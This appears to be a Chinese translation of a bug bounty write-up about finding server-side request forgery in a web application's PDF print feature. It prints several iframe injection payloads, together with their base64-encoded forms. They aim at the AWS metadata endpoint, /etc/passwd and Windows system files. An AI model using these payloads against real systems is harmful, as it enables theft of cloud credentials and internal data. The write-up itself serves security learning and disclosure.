白帽故事 · 2024年11月26日 0

通过 PDF 打印功能利用SSRF访问内部数据

前言

服务器端请求伪造 (SSRF) 是一种 Web 安全漏洞,当攻击者操纵服务器向非预期目标发出未经授权的 HTTP 或其他基于协议的请求时,就会发生此类漏洞。

在应用中寻找SSRF

比如某个应用程序使用了不同的内部域来处理财务数据,并通过 iframe 获取数据。

在深入探索该应用程序时,发现了一处打印功能。

此功能将页面转换为 HTML,以 Base64 对其进行编码,然后发送以等待打印。

这不禁让人想起了NahamSec 和其它安全研究人员的文章和视频中的 SSRF 技术,特别是围绕 PDF 转换功能,这些功能通常存在 SSRF 风险。

file

首先尝试使用一些常用的Payloads来检查 SSRF,比如使用针对 AWS 元数据端点和 Linux 文件路径的命令:

"><iframe src="http://169.254.169.254/latest/meta-data" height=2500 width=500>
"><iframe src="cat /etc/passwd" height=2500 width=500>

但是遇到了 iframe 中高度和宽度参数的问题,这会导致输出失真。经过一番尝试,白帽小哥最终找到了这些参数的正确结构。

"><iframe src="C:\Windows\debug\NetSetup.LOG" height=2500 width=500>
 "><iframe/src="C:/Windows/win.ini">

然后将payload 进行 Base64 编码:

Ij48aWZyYW1lL3NyYz0iQzpcV2luZG93c1xkZWJ1Z1xOZXRTZXR1cC5MT0ciIGhlaWdodD0yNTAwIHdpZHRoPTUwMD4=
Ij48aWZyYW1lL3NyYz0iQzpcV2luZG93c1xkZWJ1Z1xOZXRTZXR1cC5MT0ciIGhlaWdodD01MDAgd2lkdGg9NzAwPg==

发送请求如下:

file

成功收获SSRF漏洞:

file

file

你学会了么?

原文:https://bishal0x01.medium.com/ssrf-to-internal-data-access-via-pdf-print-feature-b8e6a912844a